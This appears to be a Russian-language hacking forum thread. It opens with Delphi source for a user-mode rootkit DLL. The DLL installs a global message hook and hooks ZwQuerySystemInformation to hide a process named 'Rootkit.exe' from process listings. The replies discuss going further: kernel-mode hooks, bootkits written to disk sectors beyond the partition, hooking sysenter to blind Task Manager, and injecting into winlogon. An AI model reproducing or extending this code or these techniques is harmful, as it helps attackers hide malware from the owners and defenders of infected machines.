var
SH:HHOOK;
HiddenProcess:string = 'Rootkit.exe';
SystemFunctionBridge:TFunctionRestoreData;
function NewSystemFunction(ASystemInformationClass: DWORD; ASystemInformation: Pointer;
ASystemInformationLength: DWORD; AReturnLength:PCardinal): NTStatus; stdcall;
var
info,back_Proc:PSYSTEM_PROCESSES;
begin
UnHookCodeHook(@SystemFunctionBridge);
Result:=ZwQuerySystemInformation(ASystemInformationClass,ASystemInformation,ASystemInformationLength,AReturnLength);
SetCodeHook(SystemFunctionBridge.Address,@NewSystemFunction,@SystemFunctionBridge);
if ASystemInformationClass<>SystemProcessesAndThreadsInformation then exit;
if Result<>STATUS_SUCCESS then exit;
info:= ASystemInformation;
repeat
if info^.ProcessName.Buffer = HiddenProcess then
begin
back_Proc^.NextEntryDelta:=back_Proc^.NextEntryDelta+info^.NextEntryDelta;
end;
back_Proc:=info;
Info := pointer(dword(info) + info^.NextEntryDelta);
until Info^.NextEntryDelta = 0;
end;
function MsgProc(code:DWORD;wParam,lparam:DWORD):DWORD;stdcall;
begin
CallNextHookEx(SH,code,wParam,lparam);
end;
procedure SetWindowsHook(e:Boolean); stdcall;
var
M:THandle;
begin
if e then
begin
m:=CreateMutex(0,false,MutexName);
if m=0 then exit;
SH:=SetWindowsHookEx(WH_GETMESSAGE,@MsgProc,HInstance,0);
end
else
UnhookWindowsHookEx(sh);
end;
procedure DLLEntryPoint(dwReason:DWord);
begin
case dwReason of
DLL_PROCESS_ATTACH:
begin
// StopProcess(GetCurrentProcessId);
SetWindowsHook(true);
SetProcedureHook(GetModuleHandle('ntdll.dll'),'ZwQuerySystemInformation',@NewSystemFunction,@SystemFunctionBridge);
// ResumeProcess(GetCurrentProcessId);
end;
DLL_PROCESS_DETACH:
begin
// StopProcess(GetCurrentProcessId);
SetWindowsHook(false);
UnHookCodeHook(@SystemFunctionBridge);
//ResumeProcess(GetCurrentProcessId);
end;
end;
end;
begin
DllProc:= @DLLEntryPoint;
DLLEntryPoint(DLL_PROCESS_ATTACH);
end.
Так не интересно.....Из третьего кольца прятать процесс.....А набери в cmd tasklist.Ты увидешь свою прогу.
Надо хукать из ring 0,писать драйвер режима ядра.Тогда и tasklist не покажет.
Лучше всего процесс и не создавать.Вот буткиты как делают,они пишут по-байтно рабочий код в сектор,который дальше чем раздел диска(там место для этого точно хватит и оно ни кем не используется),потом при загрузки считывают этот код и он в памяти,прям как в старые досовские времена Так что давай лучше буткит писать.
А кто знает как сделать так чтобы в диспетчере задач вообще не отображались процессы?
помоему Neo уже где то писал статью о том какие функции за это могут отвечать, если я не ошибаюсь, но где то точно видел, нада поискать...
Quote (Neo)
Вот буткиты как делают,они пишут по-байтно рабочий код в сектор,который дальше чем раздел диска(там место для этого точно хватит и оно ни кем не используется),потом при загрузки считывают этот код и он в памяти
а он разве остается в памяти уже после загрузки винды, когда юзер зашел под своей учетной записью, и так же функционирует?
на сколько мне известно, буткиты используют определенный участок памяти для загрузки кода, и по функционалу в период запуска операционной системы он очень ограничен, не будет же нашь код начинать работу пока пользователь не вошел в свою учетку?, хотя я в буткитах не очень разбираюсь, и толком не представляю как они работают, но было бы очень интересно собрать что то подобное...
Сообщение отредактировал xXxSh@dowxXx - Среда, 13.06.2012, 16:46
А кто знает как сделать так чтобы в диспетчере задач вообще не отображались процессы?
диспетчер получает список процессов через zwquerysysteminformation.
по идее надо хукать sysenter , получать указатель EPROCESS процесса, который вызвал в обработчике, и если это диспетчер, то слать его нах
Сообщение отредактировал vvova15 - Четверг, 14.06.2012, 20:54
dolphin, в плане?
как вариант-инжект в один процесс (например,ATI или winlogon...) а свой удаляешь и работаешь от него...
или же руткит)) он любой процесс скроет...
кстати про хукинг системных сервисов недавно писал http://sysprogramming.ru/?p=92 )
если конкретный процесс скрыть вообще то просто похукать zwquerysysteminformation,
а если именно от диспетчера и именно все, то см. мой предыдущий пост. правда с sysenter заморочки есть:
прикол в том что sysenter это уже не юзермодный режим но и не режим ядра, и придется чтобы перейти в ring0, вручную прогружать ядреный стэк, перезаугржать селекторы юзермодных SS,DS и много другой херни. потом ты попадеш контекст процесса, вызвавшего sysenter и уже сможеш получить id Процесса функцией psgetcurrrentprocessid. ну а потом проверить какой процесс запросил вызов zwquerysysteminformation и сравнить с id Диспетчера задач
Сообщение отредактировал vvova15 - Четверг, 14.06.2012, 21:08